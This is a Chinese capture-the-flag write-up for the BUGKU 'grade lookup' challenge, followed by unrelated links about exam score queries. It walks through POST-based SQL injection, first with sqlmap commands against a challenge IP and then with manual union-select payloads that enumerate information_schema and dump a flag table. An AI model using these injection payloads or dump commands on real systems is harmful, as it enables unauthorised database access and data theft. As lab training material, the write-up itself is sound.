打开环境

随便输入

发现URL 不传参怀疑是POST型

于是我们查看源代码

发现是POST型

开始注入

一.sqlmap

打开终端

因为是POST型所以有两种方式

1.通过BP抓包把HTTP数据包下载下来

语法：sqlmap -r "txt地址"

kali中要下载数据包我们在物理windows系统上的BP进行抓取

打包成文件然后把后缀改成.txt 通过共享文件传输到kali中，或者直接从桌面拖到kali桌面中

打开sqlmap

运行指令sqlmap -r "bugku.txt"

于是我们开始爆破库

sqlmap -r "bugku.txt" --tables

把库名和表名爆出来了

然后我们发现fl4g

开始查找flag

sqlmap -r "bugku.txt" -D skctf -T fl4g --columns

开始爆密码

sqlmap -r "bugku.txt" -D skctf -T fl4g -C skctf_flag --dump

得出flag

2.运用sqlmap对应POST指令

语法：sqlmap -u "URL" --data="id=1"

该指令是用于URL的

打开sqlmap

运行指令：

sqlmap -u "http://114.67.175.224:17647/index.php/index.php" --data="id=1"

开始爆库

sqlmap -u "http://114.67.175.224:17647/index.php/index.php" --data="id=1" --tables

得到数据库和表于是和上面一样开始爆破即可

二.手工注入

打开环境

随便输入一个查询

有回显

于是我们开始查找注入点和有没有过滤

当我们输入1‘ ， 1时可以返回正常值说明有可能是 id=’ ‘类型

于是我们可以开始使用order by n猜字段

输入 1’ order by 1尝试

有回显于是依次尝试但是我们发现一直尝试了很多次都有回显

我们就怀疑是不是有过滤有可能是id=‘’ ‘于是我们尝试注入 order by n #

发现在 1’ order by 5#时没有回显所以有四个字符段

开始查看四个哪个有回显

先用-1尝试数据库有没有-1的数据

发现没有于是用

-1‘ union select 1,2,3,4 #

来查看回显

发现四个都有回显所以我们可以随便在其中一个位置进行查看

开始爆库

-1' union select database(),2,3,4 # （4 # 中间有空格）

回显出数据库skctf

开始爆表

-1' union select 1,2,3,group_concat(table_name)from information_schema.tables where table_schema='skctf'#

发现fl4g

开始暴字段

-1' union select 1,2,3,group_concat(column_name)from information_schema.columns where table_name='fl4g'#

得到字段名所以可以得到flag了

-1' union select 1,2,3,group_concat(skctf_flag)from skctf.fl4g#

得到flag

结束

BUGKU-成绩查询相关推荐

2021年高考模拟考成绩查询,2021年湖北省普通高考模拟考试成绩查询
高考对人生的重要性众所周知,其中正式高考前的模拟考试也让学生和学生家长关注,而2021年的湖北省普通高考模拟考试也出炉了,考生可登入湖北省教育考试院查询成绩,模拟考后要分析题,总结题,下面来看详细信息 ...
广东省卫生2021副高考试成绩查询,中国卫生人才网:广东2021卫生资格考试成绩查询入口 -中国卫生人...
国家卫生资格考试网为您发布中国卫生人才网:广东2021卫生资格考试成绩查询入口 ,同步中国卫生人才网信息:2021广东卫生资格成绩查询.更多关于卫生资格成绩,2021卫生资格考试,卫生资格考试,国家 ...
程序员笔试面试后上机_2021年国考笔试成绩查询后，面试准备阶段需要做好四方面...
2021年国家公务员招录考试笔试成绩查询在1月份进行,一般都是在1月中上旬开始,在笔试成绩查询之后,进入面试的人员就要进行面试准备阶段. 2021年国家公务员招录什么时间进行面试?在2021年国家公务 ...
2018会考计算机成绩查询入口,2018年山东会考成绩查询时间及入口
2018年山东会考成绩查询时间及入口2019-07-10 20:39:51文/李男 2018年山东会考成绩查询时间为2018年2月2日,并且山东高中会考成绩的查询入口也已经开通了,下面小编整理了会考成 ...
全国计算机等级考试成绩查询陕西,陕西计算机等级考试成绩查询入口
光阴似箭日月如梭,十月恍若眨眼间就过去了,想要了解考试成绩查询入口的小伙伴赶紧来看看吧!下面由出国留学网小编为你精心准备了"陕西2020年9月计算机等级考试成绩查询入口已通知",持 ...
2021梧州一中高考成绩查询,2021年广西高考成绩查询网站查分网址：https://www.gxeea.cn/...
[摘要]高考结束后大家最为关心的问题就是在哪里查分,如何查分,高考频道特别整理2021年广西高考成绩查询查分网址,成绩公布时考生可直接点击网址进行查分,预祝大家都能顺利的考上理想的大学! 由于,各省级 ...
2021年甘肃省副高考试成绩查询,2021年甘肃卫生资格考试成绩查询-中国卫生人才网...
国家卫生资格考试网为您发布 2021年甘肃卫生资格考试成绩查询-中国卫生人才网,同步中国卫生人才网信息:2021甘肃卫生资格成绩查询.更多关于卫生资格成绩,卫生资格考试,2021卫生资格考试,国家卫生 ...
喀什市2021年高考成绩查询,2021年新疆高考查分网站查分网址：http://www.xjzk.gov.cn/...
[摘要]高考结束后大家最为关心的问题就是在哪里查分,如何查分,高考频道特别整理2021年新疆高考成绩查询查分网址,成绩公布时考生可直接点击网址进行查分,预祝大家都能顺利的考上理想的大学! 由于,各省级 ...
2021级山西高考成绩查询时间,2021山西高考成绩什么时候出
2021山西高考成绩查询时间将公布,高考成绩查询时间预计是2020年7月24日. 山西高考志愿填报设置提前艺术.体育本科设置1个第一院校志愿和1个第二院校志愿,每所院校设置6个专业志愿和" ...
2021陇南高考成绩查询,2021年陇南中考成绩公布查询时间陇南中考成绩查询方式入口...
2018年陇南中考成绩公布查询时间陇南中考成绩查询方式入口 2018年陇南高考结束了,可是陇南中考又来了!6月注定是一个不平淡的月份.又一大批孩子朝着青春出发踏着坚定的脚步,行走在如火的六月.宁静的 ...

BUGKU-成绩查询